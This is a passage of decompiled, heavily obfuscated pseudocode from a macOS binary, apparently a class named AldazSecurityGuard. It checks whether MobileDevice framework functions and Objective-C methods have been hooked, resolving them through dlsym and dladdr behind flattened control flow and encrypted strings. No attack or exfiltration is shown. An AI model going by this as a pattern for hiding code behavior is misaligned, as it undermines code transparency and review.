case -463287310:
HikariFunctionWrapper_2791(&stru_100266210.isa);
*v73 = -135308911;
break;
}
}
}
else if ( v49 <= -694447813 )
{
if ( v49 == -821677344 )
{
v6 = 0;
v3 = -1922579246;
v7 = -821677344;
LABEL_385:
if ( v6 )
v3 = v7;
goto LABEL_391;
}
if ( v49 == -739333984 )
*v73 = -2114317487;
}
else
{
switch ( v49 )
{
case -694447812:
v13 = 0;
v3 = -1195790065;
v14 = 354518466;
goto LABEL_373;
case -685320440:
v6 = 0;
v3 = 271908136;
v7 = -1207411736;
goto LABEL_385;
case -661373071:
v5 = dlsym(__handle, __symbol);
v63 = v5 == 0;
v6 = 0;
v40 = v5;
v3 = -1797527649;
v7 = -661373071;
goto LABEL_385;
}
}
}
else if ( v49 > -191656785 )
{
if ( v49 > -25541105 )
{
if ( v49 <= 3510576 )
{
if ( v49 == -25541104 )
{
v10 = 1;
v43 = v38 + 1;
v3 = -2107501770;
v11 = 2008710878;
goto LABEL_389;
}
if ( v49 == -17945013 )
*v73 = 1184392423;
}
else
{
switch ( v49 )
{
case 3510577:
*v73 = 1368675127;
break;
case 13864668:
v19 = objc_msgSend(
v55,
v54,
CFSTR("먇圴뎟㽁䤱蜣龡\x18\xD8\x17\x1F툖⏓鄅䝮䵭鞲㷌ꊸ㏍맱蒾"),
__symbol);
v52 = objc_retainAutoreleasedReturnValue(v19);
*v73 = 735391286;
break;
case 30220372:
*v73 = 1612953624;
break;
}
}
}
else if ( v49 <= -135308912 )
{
if ( v49 == -191656784 )
{
*v73 = -461067440;
}
else if ( v49 == -179987330 )
{
objc_msgSend(a1, v50, v52, CFSTR("\x9B\xB6BD\xA4\xDF\x3A{"));
*v73 = 1179975997;
}
}
else
{
switch ( v49 )
{
case -135308911:
goto LABEL_95;
case -91573040:
*v73 = 1140512020;
break;
case -56187824:
v61 = v48 == 0;
v2 = 0;
v3 = 699285901;
v4 = -2144570145;
goto LABEL_338;
}
}
}
else if ( v49 > -271693713 )
{
if ( v49 <= -216606543 )
{
if ( v49 == -271693712 )
{
v23 = dlopen(0, 1);
v13 = 1;
v30 = v23;
v3 = -1767467092;
v14 = -91573040;
goto LABEL_373;
}
if ( v49 == -270102883 )
*v73 = -1408689827;
}
else
{
switch ( v49 )
{
case -216606542:
v10 = 1;
v3 = 259263022;
v11 = 65109777;
goto LABEL_389;
case -214898292:
v2 = !v65;
v3 = 1061093870;
v4 = 1799938010;
goto LABEL_338;
case -198414685:
v38 = v46;
__symbol = v45;
v2 = 0;
v3 = -1512088095;
v4 = -661373071;
goto LABEL_338;
}
}
}
else if ( v49 <= -426684976 )
{
if ( v49 == -461067440 )
{
v22 = *v43;
v71 = *v43 == 0;
v13 = 1;
v37 = v22;
v3 = -191656784;
v14 = 1366840845;
goto LABEL_373;
}
if ( v49 == -445436326 )
{
*v73 = -198414685;
v45 = &byte_100266070;
v46 = off_10025B110;
}
}
else
{
switch ( v49 )
{
case -426684975:
v13 = 1;
v3 = 1977688781;
v14 = -593145928;
goto LABEL_373;
case -411079226:
*v73 = 1195439662;
v53 = v52;
break;
case -343132110:
objc_msgSend(
v59,
v56,
CFSTR("*Aq\xE7\xF9\xF4\x02/n\x1E@N\x16\x13*\xFAlߐ\xA3\x8C\xF4\x70\x9A\x82"));
*v73 = 886756211;
break;
}
}
}
if ( v49 <= 1140512019 )
break;
if ( v49 > 1668840710 )
{
if ( v49 <= 1922726465 )
{
if ( v49 <= 1799938009 )
{
if ( v49 > 1779576570 )
{
if ( v49 == 1779576571 )
{
v3 = 1668840711;
if ( (__int64)v51 < 0 )
v3 = 1059457575;
LABEL_391:
*v73 = v3;
}
else if ( v49 == 1791744033 )
{
v16 = 160762395;
if ( v62 )
v16 = 786691003;
*v73 = v16;
v44 = v29;
}
}
else
{
if ( v49 == 1668840711 )
{
v6 = v51 == 0;
LABEL_377:
v3 = 1372181779;
v7 = -426684975;
goto LABEL_385;
}
if ( v49 == 1695318728 )
{
v13 = 1;
v3 = -906041465;
v14 = -604776768;
goto LABEL_373;
}
}
}
else if ( v49 <= 1841036835 )
{
if ( v49 == 1799938010 )
{
v66 = (unsigned __int8)objc_msgSend(v59, v56, CFSTR("|\x81k\x82\x8B\xC7\x42#m\x01"));
*v73 = 1989164470;
}
else if ( v49 == 1813309707 )
{
v2 = !v64;
v3 = -694447812;
v4 = 1035688336;
goto LABEL_338;
}
}
else
{
switch ( v49 )
{
case 1841036836:
v6 = 0;
v3 = -923180650;
v7 = 727489289;
goto LABEL_385;
case 1893777876:
*v73 = -214898292;
break;
case 1906570979:
v10 = 0;
v3 = 1389064954;
v11 = -1120380469;
goto LABEL_389;
}
}
}
else if ( v49 > 2013062278 )
{
if ( v49 <= 2040193168 )
{
if ( v49 == 2013062279 )
{
*v73 = -685320440;
}
else if ( v49 == 2020961121 )
{
v10 = 0;
v3 = 1606901342;
v11 = -1658538180;
goto LABEL_389;
}
}
else
{
switch ( v49 )
{
case 2040193169:
*v73 = -426684975;
break;
case 2110146311:
v13 = 0;
v3 = -1421926426;
v14 = 2110146311;
goto LABEL_373;
case 2134312733:
*v73 = 160762395;
v44 = v30;
break;
}
}
}
else if ( v49 <= 1977688780 )
{
if ( v49 == 1922726466 )
{
v6 = 0;
v36 = v58->dli_fname;
v3 = -1592066941;
v7 = -1988335199;
goto LABEL_385;
}
if ( v49 == 1926940031 )
{
v6 = 0;
v3 = -2070666869;
v7 = 1198987225;
goto LABEL_385;
}
}
else
{
switch ( v49 )
{
case 1977688781:
*v73 = -593145928;
break;
case 1989164470:
v10 = 0;
v3 = 1101543486;
v11 = 507411090;
goto LABEL_389;
case 2008710878:
*v73 = -25541104;
break;
}
}
}
else if ( v49 <= 1344797569 )
{
if ( v49 <= 1195439661 )
{
if ( v49 > 1179975996 )
{
if ( v49 == 1179975997 )
{
objc_msgSend(a1, v50, v52, CFSTR("\x9B\xB6BD\xA4\xDF\x3A{"));
v10 = 1;
v3 = -411079226;
LABEL_320:
v11 = -179987330;
goto LABEL_389;
}
if ( v49 == 1184392423 )
{
v6 = 0;
v3 = -25541104;
v7 = 2008710878;
goto LABEL_385;
}
}
else
{
if ( v49 == 1140512020 )
{
v13 = 1;
v3 = -1976719596;
v14 = -1846506551;
goto LABEL_373;
}
if ( v49 == 1171102273 )
{
v10 = 0;
v3 = 623894768;
goto LABEL_348;
}
}
}
else if ( v49 <= 1217827396 )
{
if ( v49 == 1195439662 )
{
objc_release(v53);
*v73 = 1184392423;
}
else if ( v49 == 1198987225 )
{
objc_msgSend(v59, v56, CFSTR("\xB4\xF6\x8A\x15\xB4E\x18B\xB1\x9B\xE0\x48\x5E\x03>\x9A"));
*v73 = -2070666869;
}
}
else
{
switch ( v49 )
{
case 1217827397:
*v73 = -1164188800;
break;
case 1290613734:
*v73 = -1489048555;
break;
case 1307383097:
v8 = objc_msgSend(
v34,
v54,
CFSTR("\x9C^\xFC\x97\xFF\x93\t\x9D\xCF\xFEy\xF0\x3D\xD8\xDAM\x14T^\x80\xC2\x1AT旮\x1D%\x8Ft\\\xB0\xA1"),
__symbol,
dli_fname);
v9 = objc_retainAutoreleasedReturnValue(v8);
HikariFunctionWrapper_2789(a1, v32);
objc_release(v9);
LABEL_95:
*v73 = 1195439662;
v53 = v59;
break;
}
}
}
else if ( v49 > 1442938678 )
{
if ( v49 <= 1606901341 )
{
if ( v49 == 1442938679 )
{
byte_10026619E = v72 ^ 0x3A;
strcpy(&byte_10026619F, "ctionReceive");
asc_100266100[0] = 100;
asc_100266100[1] = 108;
asc_100266100[2] = 97;
asc_100266100[3] = 100;
asc_100266100[4] = 100;
asc_100266100[5] = 114;
asc_100266100[6] = 32;
asc_100266100[7] = 102;
asc_100266100[8] = 97;
asc_100266100[9] = 108;
asc_100266100[10] = 108;
asc_100266100[11] = 243;
asc_100266100[12] = 32;
asc_100266100[13] = 112;
asc_100266100[14] = 97;
asc_100266100[15] = 114;
asc_100266100[16] = 97;
asc_100266100[17] = 58;
asc_100266100[18] = 32;
asc_100266100[19] = 37;
asc_100266100[20] = 115;
asc_100266100[21] = 0;
strcpy(aAq, "/MobileDevice.framework/");
strcpy(&byte_100266070, "AMDeviceCopyValue");
strcpy(asc_100266030, "[SEC] %s -> %s (trusted)");
strcpy(&byte_100265FF0, "AMDeviceDisconnect");
strcpy(&byte_100265D50, "AMDServiceConnectionSend");
strcpy(asc_100265E40, "Posible hook detectado: %s -> %s");
strcpy(&byte_1002661D0, "AMDeviceSecureStartService");
*v73 = -1424036439;
}
else if ( v49 == 1593681725 )
{
*v73 = 212380155;
}
}
else
{
switch ( v49 )
{
case 1606901342:
*v73 = 2020961121;
break;
case 1612953624:
v13 = 1;
v39 = "stringWithUTF8String:";
v56 = "containsString:";
v31 = "ownerPathLooksTrusted:";
v54 = "stringWithFormat:";
v32 = "handleDetectedHook:";
v50 = "logSecurityEvent:severity:";
v3 = 30220372;
v14 = -445436326;
goto LABEL_373;
case 1650813498:
*v73 = -821677344;
break;
}
}
}
else if ( v49 <= 1368675126 )
{
if ( v49 == 1344797570 )
{
*v73 = 2110146311;
}
else if ( v49 == 1366840845 )
{
*v73 = 331520829;
}
}
else
{
switch ( v49 )
{
case 1368675127:
v13 = 1;
dword_10029F2B4 = 1;
v3 = 1368675127;
v14 = 1217827397;
goto LABEL_373;
case 1372181779:
v13 = 0;
v3 = -1690783267;
v14 = -1081613583;
goto LABEL_373;
case 1389064954:
*v73 = -1120380469;
break;
}
}
}
if ( v49 <= 727489288 )
break;
if ( v49 <= 886756210 )
{
if ( v49 <= 798181429 )
{
if ( v49 > 763782918 )
{
if ( v49 == 763782919 )
{
v10 = 1;
v3 = 1179975997;
goto LABEL_320;
}
if ( v49 == 786691003 )
{
v13 = 0;
v3 = -271693712;
v14 = -1767467092;
goto LABEL_373;
}
}
else if ( v49 == 727489289 )
{
strcpy(asc_100266150, "/System/Library/");
strcpy(&byte_100265CD5, "AMDeviceConnect");
strcpy(&byte_100265E90, "AMDeviceIsPaired");
strcpy(&byte_100265DF0, "AMDServiceConnectionSendMessage");
strcpy(&byte_100265DA0, "AMDServiceConnectionReceiveMessage");
asc_100264CC8[0] = 87;
asc_100264CC8[1] = 65;
asc_100264CC8[2] = 82;
asc_100264CC8[3] = 78;
asc_100264CC8[4] = 73;
asc_100264CC8[5] = 78;
asc_100264CC8[6] = 71;
asc_100264CC8[7] = 0;
strcpy(&byte_100265C70, "AMDeviceStopSession");
strcpy(&byte_100265D10, "AMDeviceSetValue");
asc_100265EF0[0] = 83;
asc_100265EF0[1] = 237;
asc_100265EF0[2] = 109;
asc_100265EF0[3] = 98;
asc_100265EF0[4] = 111;
asc_100265EF0[5] = 108;
asc_100265EF0[6] = 111;
asc_100265EF0[7] = 32;
asc_100265EF0[8] = 110;
asc_100265EF0[9] = 111;
asc_100265EF0[10] = 32;
asc_100265EF0[11] = 101;
asc_100265EF0[12] = 110;
asc_100265EF0[13] = 99;
asc_100265EF0[14] = 111;
asc_100265EF0[15] = 110;
asc_100265EF0[16] = 116;
asc_100265EF0[17] = 114;
asc_100265EF0[18] = 97;
asc_100265EF0[19] = 100;
asc_100265EF0[20] = 111;
asc_100265EF0[21] = 58;
asc_100265EF0[22] = 32;
asc_100265EF0[23] = 37;
asc_100265EF0[24] = 115;
asc_100265EF0[25] = 0;
strcpy(&byte_100265CB0, "AMDeviceStartSession");
strcpy(asc_1002658D3, "/usr/lib/");
strcpy(&_path, "/System/Library/PrivateFrameworks/MobileDevice.framework/MobileDevice");
*v73 = -923180650;
}
else if ( v49 == 735391286 )
{
*v73 = -1430499504;
}
}
else if ( v49 <= 829882978 )
{
if ( v49 == 798181430 )
{
v2 = 0;
v3 = -1131817130;
v4 = 2040193169;
goto LABEL_338;
}
if ( v49 == 799111022 )
{
qmemcpy(&byte_100266190, "AMDServiceConn", 14);
v10 = 0;
v72 = 95;
v3 = 799111022;
v11 = 151061376;
goto LABEL_389;
}
}
else
{
switch ( v49 )
{
case 829882979:
v55 = &OBJC_CLASS___NSString;
*v73 = 1695318728;
break;
case 864476358:
v10 = 1;
v3 = -1968283176;
v11 = -1556722781;
goto LABEL_389;
case 880700184:
dword_10029F2B4 = 1;
*v73 = 1368675127;
break;
}
}
}
else if ( v49 > 1059457574 )
{
if ( v49 <= 1091027872 )
{
if ( v49 == 1059457575 )
{
v6 = v51 + 2 == 0;
goto LABEL_377;
}
if ( v49 == 1061093870 )
{
v13 = 0;
v3 = 1922726466;
v14 = -1988335199;
goto LABEL_373;
}
}
else
{
switch ( v49 )
{
case 1091027873:
v10 = 1;
v3 = -17945013;
LABEL_348:
v11 = 1091027873;
LABEL_389:
if ( !v10 )
v3 = v11;
goto LABEL_391;
case 1101543486:
*v73 = 507411090;
break;
case 1116420222:
v2 = !v69;
v3 = 1061093870;
v4 = -1029017006;
goto LABEL_338;
}
}
}
else if ( v49 <= 933251987 )
{
if ( v49 == 886756211 )
{
v65 = (unsigned __int8)HikariFunctionWrapper_2785(v59, v56) == 0;
v13 = 0;
v3 = 1893777876;
v14 = 886756211;
LABEL_373:
if ( v13 )
v3 = v14;
goto LABEL_391;
}
if ( v49 == 887612204 )
*v73 = 1307383097;
}
else
{
switch ( v49 )
{
case 933251988:
*v73 = -1599926991;
break;
case 1035688336:
v13 = 1;
v3 = 501570847;
v14 = 13864668;
goto LABEL_373;
case 1054873214:
*v73 = 829882979;
break;
}
}
}
if ( v49 <= 331520828 )
break;
if ( v49 > 534454971 )
{
if ( v49 <= 671086844 )
{
if ( v49 == 534454972 )
{
*v73 = 1906570979;
}
else if ( v49 == 623894768 )
{
*v73 = 1091027873;
}
}
else
{
switch ( v49 )
{
case 671086845:
v34 = &OBJC_CLASS___NSString;
*v73 = 864476358;
break;
case 699285901:
*v73 = -56187824;
break;
case 714233322:
v2 = 0;
v3 = 1593681725;
v4 = 212380155;
goto LABEL_338;
}
}
}
else if ( v49 <= 475883207 )
{
if ( v49 == 331520829 )
{
v10 = 0;
v3 = -270102883;
v11 = -1408689827;
goto LABEL_389;
}
if ( v49 == 354518466 )
{
v17 = HikariFunctionWrapper_2797(v55, v39);
objc_retainAutoreleasedReturnValue(v17);
*v73 = -1195790065;
}
}
else
{
switch ( v49 )
{
case 475883208:
v13 = 1;
v3 = -191656784;
v14 = -461067440;
goto LABEL_373;
case 501570847:
v26 = HikariFunctionWrapper_2795(v55, v54);
objc_retainAutoreleasedReturnValue(v26);
*v73 = 13864668;
break;
case 507411090:
v67 = v66 == 0;
*v73 = 1290613734;
break;
}
}
}
if ( v49 <= 172193893 )
break;
if ( v49 <= 259263021 )
{
if ( v49 == 172193894 )
{
v27 = objc_msgSend(
&OBJC_CLASS___NSString,
v54,
CFSTR("咧ᣃ綦詰㡂꿲馦똲ग़듑\x24\xDD罭욝曛嫿諸\u0FDFਅ휛㦓莔薷雄굃"),
__symbol);
v41 = objc_retainAutoreleasedReturnValue(v27);
objc_msgSend(a1, v50, v41, CFSTR("\x9B\xB6BD\xA4\xDF\x3A{"));
*v73 = -1961200227;
}
else if ( v49 == 212380155 )
{
v10 = 1;
v51 = (char *)__handle;
v3 = 933251988;
v11 = 1593681725;
goto LABEL_389;
}
}
else
{
switch ( v49 )
{
case 259263022:
v24 = HikariFunctionWrapper_2783(v40, v58);
v25 = v24 == 0 || v58->dli_fname == 0;
v10 = 0;
v42 = v58->dli_fname;
v64 = v25;
v3 = 65109777;
v11 = 1054873214;
goto LABEL_389;
case 270328662:
v6 = 0;
v3 = 2020961121;
v7 = 1606901342;
goto LABEL_385;
case 271908136:
v2 = 0;
v3 = -1207411736;
v4 = 1116420222;
goto LABEL_338;
}
}
}
if ( v49 > 140289293 )
break;
if ( v49 == 39713636 )
{
objc_release(v41);
*v73 = -876521031;
}
else if ( v49 == 65109777 )
{
dladdr(v40, v58);
*v73 = 259263022;
}
}
if ( v49 != 151061376 )
break;
*v73 = -646681609;
}
if ( v49 == 160762395 )
{
__handle = v44;
v13 = 1;
v3 = 30220372;
v14 = 1612953624;
goto LABEL_373;
}
}
while ( v49 != 140289294 );
}
// 10025B110: using guessed type char *off_10025B110[12];
// 100265C70: using guessed type char byte_100265C70;
// 100265CB0: using guessed type char byte_100265CB0;
// 100265CD5: using guessed type char byte_100265CD5;
// 100265D10: using guessed type char byte_100265D10;
// 100265D50: using guessed type char byte_100265D50;
// 100265DA0: using guessed type char byte_100265DA0;
// 100265DF0: using guessed type char byte_100265DF0;
// 100265E90: using guessed type char byte_100265E90;
// 100265EF0: using guessed type __int16 asc_100265EF0[26];
// 100265FF0: using guessed type char byte_100265FF0;
// 100266070: using guessed type char byte_100266070;
// 100266100: using guessed type __int16 asc_100266100[22];
// 100266190: using guessed type char byte_100266190;
// 10026619E: using guessed type char byte_10026619E;
// 10026619F: using guessed type char byte_10026619F;
// 1002661D0: using guessed type char byte_1002661D0;
// 100266210: using guessed type __CFString stru_100266210;
// 100266250: using guessed type __CFString stru_100266250;
// 100266290: using guessed type __CFString cfstr_Aq;
// 1002662D0: using guessed type __CFString stru_1002662D0;
// 100266310: using guessed type __CFString stru_100266310;
// 100266350: using guessed type __CFString stru_100266350;
// 100266390: using guessed type __CFString stru_100266390;
// 1002663D0: using guessed type __CFString stru_1002663D0;
// 10029F2B4: using guessed type int dword_10029F2B4;
//----- (0000000100040F0B) ----------------------------------------------------
void __cdecl +[AldazSecurityGuard checkObjCHooks](id a1, SEL a2)
{
bool v2; // zf
int v3; // eax
bool v4; // cf
int v5; // ecx
id v6; // rax
char v7; // cf
int v8; // ecx
IMP v9; // rax
bool v10; // zf
int v11; // ecx
id v12; // r12
int v13; // ecx
char *v14; // rax
id v15; // rax
unsigned __int8 v16; // al
int v17; // ecx
bool v18; // dl
id v19; // rax
id v20; // rax
id v21; // rax
id v22; // rax
SEL v23; // [rsp+0h] [rbp-120h] BYREF
Method ClassMethod; // [rsp+8h] [rbp-118h]
Method InstanceMethod; // [rsp+10h] [rbp-110h]
void *v26; // [rsp+18h] [rbp-108h]
void *v27; // [rsp+20h] [rbp-100h]
void *v28; // [rsp+28h] [rbp-F8h]
char **v29; // [rsp+30h] [rbp-F0h]
__int64 v30; // [rsp+38h] [rbp-E8h]
SEL v31; // [rsp+40h] [rbp-E0h]
Class cls; // [rsp+48h] [rbp-D8h]
SEL v33; // [rsp+50h] [rbp-D0h]
const char *dli_fname; // [rsp+58h] [rbp-C8h]
id v35; // [rsp+60h] [rbp-C0h]
id v36; // [rsp+68h] [rbp-B8h]
const char *v37; // [rsp+70h] [rbp-B0h]
char **v38; // [rsp+78h] [rbp-A8h]
__int64 v39; // [rsp+80h] [rbp-A0h]
char *name; // [rsp+88h] [rbp-98h]
char **v41; // [rsp+90h] [rbp-90h]
objc_method *v42; // [rsp+98h] [rbp-88h]
id v43; // [rsp+A0h] [rbp-80h]
objc_method *v44; // [rsp+A8h] [rbp-78h]
unsigned int v45; // [rsp+B4h] [rbp-6Ch]
int v46; // [rsp+B8h] [rbp-68h]
int v47; // [rsp+BCh] [rbp-64h] BYREF
Dl_info *v48; // [rsp+C0h] [rbp-60h]
__int64 v49; // [rsp+C8h] [rbp-58h]
SEL v50; // [rsp+D0h] [rbp-50h]
char *v51; // [rsp+D8h] [rbp-48h]
const char *v52; // [rsp+E0h] [rbp-40h]
bool v53; // [rsp+E9h] [rbp-37h]
char v54; // [rsp+EAh] [rbp-36h]
bool v55; // [rsp+EBh] [rbp-35h]
bool v56; // [rsp+ECh] [rbp-34h]
bool v57; // [rsp+EDh] [rbp-33h]
unsigned __int8 v58; // [rsp+EEh] [rbp-32h]
bool v59; // [rsp+EFh] [rbp-31h]
int *v60; // [rsp+F0h] [rbp-30h]
v45 = -647918839;
v47 = -1818572553;
v60 = &v47;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v47 <= -36860913 )
{
if ( v47 <= -1240292645 )
{
if ( v47 <= -1698806852 )
{
if ( v47 > -1970705310 )
{
if ( v47 > -1808122574 )
{
switch ( v47 )
{
case -1808122573:
v7 = 1;
v31 = "ownerPathLooksTrusted:";
v50 = "stringWithFormat:";
v23 = "handleDetectedHook:";
v3 = 1421019588;
v8 = -974893874;
goto LABEL_253;
case -1741589362:
v21 = objc_msgSend(
v35,
v50,
CFSTR("蒄᷻虾、㽖ᠻЕ칇뇦礓笙妐\u009Bꋐꭆ鑊恽ᎏ㐰\x02\xD8\xE2\xC5볟꧆픓"),
v51,
v52);
v22 = objc_retainAutoreleasedReturnValue(v21);
v2 = 0;
v27 = v22;
v3 = -2135325494;
v17 = -1386764111;
LABEL_258:
if ( v2 )
v3 = v17;
goto LABEL_260;
case -1726411834:
v7 = 0;
v3 = -1689069434;
v8 = -1844483256;
goto LABEL_253;
}
}
else
{
switch ( v47 )
{
case -1970705309:
HikariFunctionWrapper_2807(v44);
*v60 = 382876465;
break;
case -1844483256:
v7 = 0;
v3 = -1844483256;
v8 = 3074101;
LABEL_253:
if ( !v7 )
v3 = v8;
goto LABEL_260;
case -1818572553:
v4 = v45 < 0x8931DBB1;
v3 = 540241838;
v5 = 677941281;
goto LABEL_235;
}
}
}
else if ( v47 > -2077330690 )
{
switch ( v47 )
{
case -2077330689:
v4 = 1;
v3 = 1991246040;
v5 = 1558044747;
LABEL_235:
if ( v4 )
v3 = v5;
LABEL_260:
*v60 = v3;
break;
case -2021543946:
*v60 = 930105744;
break;
case -1999467179:
*v60 = 355259277;
break;
}
}
else
{
switch ( v47 )
{
case -2145346344:
v4 = 0;
v3 = -1808122573;
v5 = -974893874;
goto LABEL_235;
case -2135325494:
*v60 = 1921471890;
break;
case -2134469800:
v53 = v46 == 0;
v10 = 0;
v3 = -1592326701;
v11 = 2054258779;
goto LABEL_241;
}
}
}
else if ( v47 <= -1488154638 )
{
if ( v47 > -1592326702 )
{
switch ( v47 )
{
case -1592326701:
*v60 = -2134469800;
break;
case -1538328453:
v44 = v42;
v2 = v42 == 0;
v3 = 1048448903;
goto LABEL_231;
case -1489568074:
*v60 = 781707604;
break;
}
}
else
{
switch ( v47 )
{
case -1698806851:
v10 = !v53;
v3 = -796290722;
v11 = -632775980;
goto LABEL_241;
case -1689069434:
*v60 = -1844483256;
break;
case -1637620891:
*v60 = -796290722;
break;
}
}
}
else if ( v47 <= -1389858818 )
{
switch ( v47 )
{
case -1488154637:
v2 = 0;
v3 = 1170451128;
goto LABEL_224;
case -1439036435:
byte_10026663E = 115;
byte_10026663F = 107;
byte_100266640 = 0;
strcpy(&byte_1002667E0, "sessionWithConfiguration:delegate:delegateQueue:");
strcpy(&byte_100266840, "NSMutableURLRequest");
strcpy(&byte_1002666B0, "NSMutableDictionary");
strcpy(&byte_1002665F0, "isEqualToString:");
strcpy(&byte_100266A20, "objectForKey:");
aE_0[0] = 100;
aE_0[1] = 108;
aE_0[2] = 97;
aE_0[3] = 100;
aE_0[4] = 100;
aE_0[5] = 114;
aE_0[6] = 32;
aE_0[7] = 102;
aE_0[8] = 97;
aE_0[9] = 108;
aE_0[10] = 108;
aE_0[11] = 243;
aE_0[12] = 32;
aE_0[13] = 112;
aE_0[14] = 97;
aE_0[15] = 114;
aE_0[16] = 97;
aE_0[17] = 32;
aE_0[18] = 37;
aE_0[19] = 115;
aE_0[20] = 58;
aE_0[21] = 58;
aE_0[22] = 37;
aE_0[23] = 115;
aE_0[24] = 0;
strcpy(&byte_1002669A0, "setValue:forHTTPHeaderField:");
strcpy(&byte_100266550, "uploadTaskWithRequest:fromFile:");
strcpy(&byte_100265B50, "NSPropertyListSerialization");
strcpy(&byte_100266510, "uploadTaskWithStreamedRequest:");
strcpy(&byte_100266420, "propertyListWithData:options:format:error:");
strcpy(a7_5, "NSDictionary");
strcpy(&byte_1002664D0, "dictionaryWithContentsOfFile:");
strcpy(asc_1002665A0, "Hook ObjC detectado: %s::%s -> %s");
strcpy(&byte_100266A05, "setHTTPBody:");
strcpy(&byte_100266928, "contentsAtPath:");
strcpy(&byte_100266480, "dataWithPropertyList:format:options:error:");
*v60 = 506677943;
break;
case -1394306873:
v7 = 1;
v3 = -1698806851;
LABEL_213:
v8 = -1394306873;
goto LABEL_253;
}
}
else if ( v47 > -1338716539 )
{
if ( v47 == -1338716538 )
{
*v60 = 1170451128;
}
else if ( v47 == -1265555670 )
{
*v60 = 467410138;
}
}
else
{
if ( v47 == -1389858817 )
{
v7 = 0;
v3 = -1386764111;
v8 = -1741589362;
goto LABEL_253;
}
if ( v47 == -1386764111 )
{
v6 = objc_msgSend(
v35,
v50,
CFSTR("蒄᷻虾、㽖ᠻЕ칇뇦礓笙妐\u009Bꋐꭆ鑊恽ᎏ㐰\x02\xD8\xE2\xC5볟꧆픓"),
v51,
v52);
objc_retainAutoreleasedReturnValue(v6);
*v60 = -1741589362;
}
}
}
else if ( v47 > -659745532 )
{
if ( v47 <= -466513842 )
{
if ( v47 > -571930897 )
{
switch ( v47 )
{
case -571930896:
*v60 = -2077330689;
break;
case -500746847:
*v60 = 295759917;
break;
case -480471914:
dword_10029F2B8 = 1;
goto LABEL_144;
}
}
else
{
switch ( v47 )
{
case -659745531:
v7 = 0;
v3 = -880360019;
goto LABEL_213;
case -632775980:
v7 = 1;
v3 = -599826102;
v8 = -1240292644;
goto LABEL_253;
case -599826102:
strcpy(&byte_100266A90, "dataWithContentsOfFile:");
strcpy(&byte_1002669E0, "initWithContentsOfFile:");
byte_10026696F = 78;
byte_100266970 = 83;
byte_100266971 = 70;
byte_100266972 = 105;
byte_100266973 = 108;
v7 = 1;
v54 = 101;
v3 = 508060178;
v8 = -599826102;
goto LABEL_253;
}
}
}
else if ( v47 <= -372484924 )
{
switch ( v47 )
{
case -466513841:
v10 = !v59;
v3 = -1003896862;
v11 = -740021300;
goto LABEL_241;
case -446406247:
v10 = 0;
v3 = 1731778580;
v11 = -721220098;
LABEL_241:
if ( !v10 )
v3 = v11;
goto LABEL_260;
case -406080266:
v12 = v43;
objc_msgSend(a1, v23, v43);
objc_release(v12);
*v60 = -1003896862;
break;
}
}
else if ( v47 > -126744924 )
{
if ( v47 == -126744923 )
{
*v60 = -137524661;
}
else if ( v47 == -124510442 )
{
objc_msgSend(a1, v31, dli_fname);
*v60 = 54390078;
}
}
else if ( v47 == -372484923 )
{
*v60 = -2145346344;
}
else if ( v47 == -137524661 )
{
v7 = 0;
v38 = &off_10025B180[3 * v49];
v3 = -137524661;
v8 = -1265555670;
goto LABEL_253;
}
}
else if ( v47 <= -880360020 )
{
if ( v47 > -1003896863 )
{
switch ( v47 )
{
case -1003896862:
*v60 = -571930896;
break;
case -974893874:
*v60 = -1808122573;
break;
case -973177298:
v4 = 0;
v3 = 92846560;
v5 = 65190873;
goto LABEL_235;
}
}
else
{
switch ( v47 )
{
case -1240292644:
strcpy(&byte_100266A90, "dataWithContentsOfFile:");
strcpy(&byte_1002669E0, "initWithContentsOfFile:");
byte_10026696F = 78;
byte_100266970 = 83;
byte_100266971 = 70;
byte_100266972 = 105;
byte_100266973 = 108;
*v60 = -599826102;
break;
case -1169270118:
*v60 = -698096567;
break;
case -1120040761:
v4 = 0;
v3 = 506677943;
v5 = -1439036435;
goto LABEL_235;
}
}
}
else if ( v47 <= -768319051 )
{
switch ( v47 )
{
case -880360019:
*v60 = -1394306873;
break;
case -841559637:
v18 = v56 || v48->dli_fname == 0;
v10 = 0;
dli_fname = v48->dli_fname;
v57 = v18;
v3 = -841559637;
v11 = 1852576420;
goto LABEL_241;
case -796290722:
LABEL_144:
*v60 = 758153495;
break;
}
}
else if ( v47 > -721220099 )
{
if ( v47 == -721220098 )
{
v19 = objc_msgSend(
v36,
v50,
CFSTR("\xF6\x9B\x88\xC22\x92N\x88FD1\x8DR\xF0\xB1\x3C\x14`\xF5\x50\x6D\xC43ʂ\xDB\x39\xC1\xB6\xBA\x83S1r"),
v51,
v52,
v37);
v20 = objc_retainAutoreleasedReturnValue(v19);
v7 = 1;
v28 = v20;
v3 = -1169270118;
v8 = 1731778580;
goto LABEL_253;
}
if ( v47 == -698096567 )
{
*v60 = -406080266;
v43 = v28;
}
}
else if ( v47 == -768319050 )
{
byte_100266974 = v54;
byte_100266975 = 72;
byte_100266976 = 97;
byte_100266977 = 110;
byte_100266978 = 100;
byte_100266979 = 108;
byte_10026697A = 101;
byte_10026697B = 0;
strcpy(&byte_100266954, "appendString:");
byte_10026693F = 114;
byte_100266940 = 101;
byte_100266941 = 115;
byte_100266942 = 117;
byte_100266943 = 109;
byte_100266944 = 101;
byte_100266945 = 0;
strcpy(&byte_1002666F1, "NSURLSession");
strcpy(&byte_10026676C, "NSFileManager");
strcpy(&byte_100266900, "writeToFile:atomically:");
strcpy(&byte_1002666D4, "NSMutableString");
strcpy(&byte_100266730, "initWithConfiguration:delegate:delegateQueue:");
strcpy(&byte_100266A50, "readDataToEndOfFile");
strcpy(&byte_100266670, "setObject:forKey:");
byte_100266781 = 78;
byte_100266782 = 83;
byte_100266783 = 68;
byte_100266784 = 97;
byte_100266785 = 116;
byte_100266786 = 97;
byte_100266787 = 0;
byte_100266791 = 78;
byte_100266792 = 83;
byte_100266793 = 83;
byte_100266794 = 116;
byte_100266795 = 114;
byte_100266796 = 105;
byte_100266797 = 110;
byte_100266798 = 103;
byte_100266799 = 0;
qmemcpy(&byte_100266630, "NSURLSessionTa", 14);
*v60 = -1120040761;
}
else if ( v47 == -740021300 )
{
v4 = 1;
v3 = 670204019;
v5 = 884094109;
goto LABEL_235;
}
}
if ( v47 <= 758153494 )
break;
if ( v47 > 1421019587 )
{
if ( v47 <= 1731778579 )
{
if ( v47 > 1558044746 )
{
switch ( v47 )
{
case 1558044747:
v4 = 1;
v49 = v30 + 1;
v3 = 1558044747;
v5 = -500746847;
goto LABEL_235;
case 1639989737:
v4 = 1;
